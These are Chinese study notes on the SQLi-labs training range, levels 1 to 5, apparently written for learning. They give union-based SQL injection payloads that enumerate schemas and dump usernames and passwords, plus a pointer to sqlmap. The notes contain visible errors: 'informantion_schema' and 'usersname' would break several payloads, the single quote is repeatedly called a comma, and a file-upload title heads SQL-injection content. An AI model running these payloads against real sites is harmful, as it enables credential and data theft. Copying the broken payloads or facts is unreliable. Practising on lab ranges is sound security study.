SQL-labs文件上传靶场学习
SQL注入
相关知识准备:
show databases; //查看数据库
use xxx; //使用某个数据库
show tables; //查看该数据库的数据表
desc xxx; //查看该数据表的结构
select * from xxx; //查找某个数据表的所有内容
select schema_name from information_schema.schemata; //猜数据库
select table_name from information_schema.tables where table_schema='xxxxx'; //猜某数据库的数据表
Select column_name from information_schema.columns where table_name='xxxxx'; //猜某表的所有列
left(a,b) //从左侧截取 a 的前 b 位
mid(column_name,start[,length]) //从位置start开始,截取column_name字符串的length位,与substr作用相同
substr(string, start, length) //从位置start开始,截取字符串string的length长度,与mid作用相同
ascii() //将某个字符转换成ascii码
ord() //将某个字符转换成ascii码,同ascii()
第一关:
- 判断是否是GET请求
- 添加逗号’后发现报错,说明没有过滤逗号,可以作为注入点
注入语句:
1' order by 4 --+
-1' union select 1,2,3 --+
-1' union select 1,database(),version() --+
-1' union select 1,group_concat(table_name),3 from informantion_schema.tables where table_schema = 'security' --+
-1' union select 1,group_concat(column_name),3 from informantion_schema.columns where table_name = "users" --+
-1' union select 1,group_concat(username),group_concat(password) from users --+
第二关:
- 判断是否是GET请求
- 添加逗号’后发现未报错
- 说明是整数型注入
注入语句:
1 order by 4 --+
-1 union select 1,2,3 --+
-1 union select 1,database(),version() --+
-1 union select 1,group_concat(table_name),3 from informantion_schema.tables where table_schema = "security" --+
-1 union select 1,group_concat(column_name),3 from informantion_schema.columns where table_name = "users" --+
-1 union select 1,group_concat(username),group_concat(password) from users --+
第三关:
- 判断是否是GET请求
- 添加逗号’后发现报错,提示括号报错
- 猜测括号没有过滤
1') order by 4 --+
-1') union select 1,2,3--+
-1') union select 1,database(),version()--+
-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = "security"--+
-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name = "users"--+
-1') union select 1,group_concat(username),group_concat(password) from users --+
第四关:
- 判断是否是GET请求
- 加入引号未报错,加入双引号报错括号,所以猜测是双引号和括号一起注入闭合语句
1") order by 4 --+
-1") union select 1,2,3 --+
-1") union select 1,database(),version() --+
-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = "security"--+
-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name = “users"--+
-1") union select 1,group_concat(usersname),group_concat(password) from users--+
第五关:
- 判断为GET请求
- 报错没有回显,猜测是报错注入
- 建议使用sqlmap工具爆破
1'order by 4 --+
使用sqlmap爆破